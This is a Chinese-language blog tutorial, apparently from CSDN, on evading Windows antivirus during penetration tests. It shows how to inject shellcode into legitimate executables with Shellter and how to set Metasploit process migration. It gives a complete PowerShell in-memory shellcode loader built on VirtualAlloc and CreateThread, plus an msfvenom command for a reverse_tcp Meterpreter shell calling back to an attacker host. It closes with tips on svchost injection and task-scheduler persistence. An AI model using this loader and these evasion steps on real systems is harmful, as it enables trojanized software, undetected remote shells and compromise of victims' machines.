在渗透测试中,绕过防病毒软件的检测和避免被沙箱环境检测到是一个非常重要的技术。这里,我们介绍几种常见的 Windows 下免杀技巧,包括使用 Shellter 和 PowerShell 进行内存注入等方法。
1. 使用 Shellter 进行免杀
Shellter 是一个强大的动态恶意软件注入工具,它能够将恶意代码注入到合法的可执行文件中,生成一个既能正常运行又携带恶意功能的程序。通过这种方式,我们可以有效绕过传统的防病毒软件检测。
安装 Shellter
Shellter 是一个 Windows 可执行文件(.exe),因此在 Linux 上运行时,需要通过 Wine 来模拟 Windows 环境,从而使其能够正常运行 Windows 程序。
首先,使用以下命令安装 Wine:
sudo apt install wine
然后,安装 Shellter 工具:
sudo apt install shellter
工具安装后在 /usr/share/windows-resources/shellter 目录。安装完成后,就可以直接运行 Shellter了。
使用 Shellter
在 Shellter 的安装目录下,有一个名为 Shellter_Backups 的文件夹。每次使用 Shellter 注入恶意代码时,原始的可执行文件会自动备份到该文件夹中。因此,你可以放心地进行测试和注入操作,万一出现问题,备份文件能够帮助你恢复原始文件。
使用 Shellter 进行注入相对简单,只需要按照以下步骤操作:
- 选择一个合法的可执行文件(比如一个普通的应用程序),并将目标 Shellcode 注入到该文件中。
- 配置 Shellcode,如通过 msfvenom 生成反向 Shellcode,并将其输入到 Shellter 中。
- 选择是否需要加密或混淆 Shellcode,增加绕过防病毒软件的成功率。
- 完成注入后,你可以得到一个新的可执行文件,它既保留了原程序的功能,又能执行你注入的恶意代码。
具体的操作可以参考 Shellter 的官方文档或网上的教程,根据实际需求进行调整。
在 MSF 中配置进程迁移
为了保证会话稳定,最后用 msf 监听的的时候需要设置进程迁移。设置命令如下:
set AutoRunScript post/windows/manage/migrate
这个设置将在 Meterpreter 会话成功建立后,自动将进程迁移到另一个目标进程,从而增加持久性并降低被杀软检测的风险。
2. 通过 PowerShell 进行内存注入
PowerShell 是一个强大的脚本语言,因其广泛的系统管理功能,已经成为攻击者在渗透测试中的重要工具。通过 PowerShell,我们可以实现隐蔽的内存注入,使得恶意代码能够在内存中运行,而不会在磁盘上留下痕迹。
设置 PowerShell 执行策略
在 PowerShell 中,默认情况下脚本执行是受到限制的。在进行内存注入时,我们首先需要修改执行策略以允许脚本运行。
- 查看当前执行策略:
Get-ExecutionPolicy -Scope CurrentUser
如果返回 Undefined 或其他限制性策略,可以通过以下命令进行修改:
- 设置为
Unrestricted(无限制):
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
- 再次查看执行策略以确保修改成功:
Get-ExecutionPolicy -Scope CurrentUser
此时应该返回 Unrestricted,表示 PowerShell 可以执行所有脚本。
内存注入脚本
接下来,我们使用 PowerShell 执行内存注入。以下是注入 Meterpreter Shellcode 的示例代码,您可以根据实际需要修改 shellcode 的内容(如使用 msfvenom 生成的 Payload):
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
# Shellcode: 替换为你生成的 shellcode (例如,通过 msfvenom 生成)
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {
$size = $sc.Length
}
# 分配内存
$x = $winFunc::VirtualAlloc(0, $size, 0x3000, 0x40);
# 将 shellcode 写入分配的内存中
for ($i = 0; $i -le ($sc.Length - 1); $i++) {
$winFunc::memset([IntPtr]($x.ToInt32() + $i), $sc[$i], 1)
}
# 创建线程并执行 shellcode
$winFunc::CreateThread(0, 0, $x, 0, 0, 0);
# 保持脚本运行,以防进程被终止
for (;;) {
Start-Sleep 60
};
代码解析
- VirtualAlloc:用于分配内存,以便在内存中存储和执行 shellcode。
- memset:将 shellcode 写入到分配的内存区域。
- CreateThread:创建一个线程并启动它,从而执行 shellcode。
生成 Shellcode
如果你使用 msfvenom 生成 Meterpreter 的 Shellcode,可以通过以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f powershell
将生成的 Shellcode 复制到 PowerShell 脚本中的 $sc 变量中。
3. 其他技巧
除了 Shellter 和 PowerShell 之外,以下是一些额外的免杀技巧:
- 使用加密或混淆的 Shellcode:通过加密或混淆技术使得 shellcode 更难被静态分析工具检测。
- 通过其他合法进程注入:可以通过使用合法的系统进程(如
svchost.exe)来隐藏恶意代码。 - 利用 Windows 任务调度程序:可以在目标机器上创建任务,通过定时执行的方式加载恶意代码。
总结
Windows 下的免杀技术是一项重要的渗透测试技能。通过利用工具如 Shellter 和 PowerShell,我们可以在不被防病毒软件检测的情况下,将恶意代码注入到目标机器的内存中,或者利用合法程序进行隐藏。免杀技术不仅有助于渗透测试,还可以帮助安全研究人员深入理解恶意软件的防护机制,并为增强防护措施提供有价值的见解。
原文 https://blog.csdn.net/2301_79518550/article/details/145808120